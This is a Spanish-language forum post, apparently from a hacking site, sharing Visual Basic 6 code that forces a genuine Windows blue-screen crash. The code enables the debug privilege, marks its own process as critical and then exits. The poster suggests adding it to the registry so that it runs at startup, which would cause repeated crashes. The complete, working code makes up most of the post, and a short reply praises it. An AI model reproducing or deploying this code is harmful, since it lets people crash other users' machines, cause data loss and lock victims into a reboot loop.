Hola a todos, ahora les traigo una función, para que aparezca una pantalla azul REAL, no fingida, o hecha en el form.
el code, lo que hace es ponerse como proceso CRITICO del sistema, y después, CERRARSE, entonces sale la pantalla que dice "Se ha cerrado un proceso critico del sistema", y se reinicia la PC.
(lindo agregarlo al registro para ke se autoinicie)
colocarlo en un modulo:
Option Explicit
Private Const ANYSIZE_ARRAY = 1
Private Const TOKEN_ADJUST_PRIVILEGES = &H20
Private Const TOKEN_QUERY = &H8
Private Const SE_PRIVILEGE_ENABLED = &H2
Private Type LUID
LowPart As Long
HighPart As Long
End Type
Private Type LUID_AND_ATTRIBUTES
pLuid As LUID
Attributes As Long
End Type
Private Type TOKEN_PRIVILEGES
PrivilegeCount As Long
Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type
Private Declare Function AdjustTokenPrivileges Lib "advapi32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Private Declare Function LookupPrivilegeValue Lib "advapi32" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, lpLUID As LUID) As Long
Private Declare Function GetCurrentProcess Lib "kernel32" () As Long
Private Declare Function OpenProcessToken Lib "advapi32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Public Const SE_DEBUG_NAME As String = "SeDebugPrivilege"
Public Declare Function RtlSetProcessIsCritical Lib "ntdll.dll" (ByVal NewValue As Boolean, ByVal OldValue As Boolean, ByVal WinLogon As Boolean)
Public Function ObtenerPrivilegios(ByVal privilegio As String) As Long
Dim lpLUID As LUID
Dim lpToken As TOKEN_PRIVILEGES
Dim lpAntToken As TOKEN_PRIVILEGES
Dim hToken As Long
Dim hProcess As Long
Dim res As Long
hProcess = GetCurrentProcess()
res = OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES Or TOKEN_QUERY, hToken)
If res = 0 Then
Exit Function
End If
res = LookupPrivilegeValue(vbNullString, privilegio, lpLUID)
If res = 0 Then
Exit Function
End If
With lpToken
.PrivilegeCount = 1
.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED
.Privileges(0).pLuid = lpLUID
End With
res = AdjustTokenPrivileges(hToken, False, lpToken, Len(lpToken), lpAntToken, Len(lpAntToken))
If res = 0 Then
Exit Function
End If
ObtenerPrivilegios = res
End Function
y este en el formulario.
Private Sub Form_Load()
On Error Resume Next
ObtenerPrivilegios SE_DEBUG_NAME ' obtiene privilegios de Debugeo
Call RtlSetProcessIsCritical(0, 0, 1) ' setea nuestro proceso como Proceso Critico
DoEvents
End
End Sub
Fuente: del modulo (http://www.portalhacker.net/index.php/topic,105779.0.html)
saludos!
Autor original Mr. X :D
Muy bueno bro! Es un curioso modulo!
-Saludos-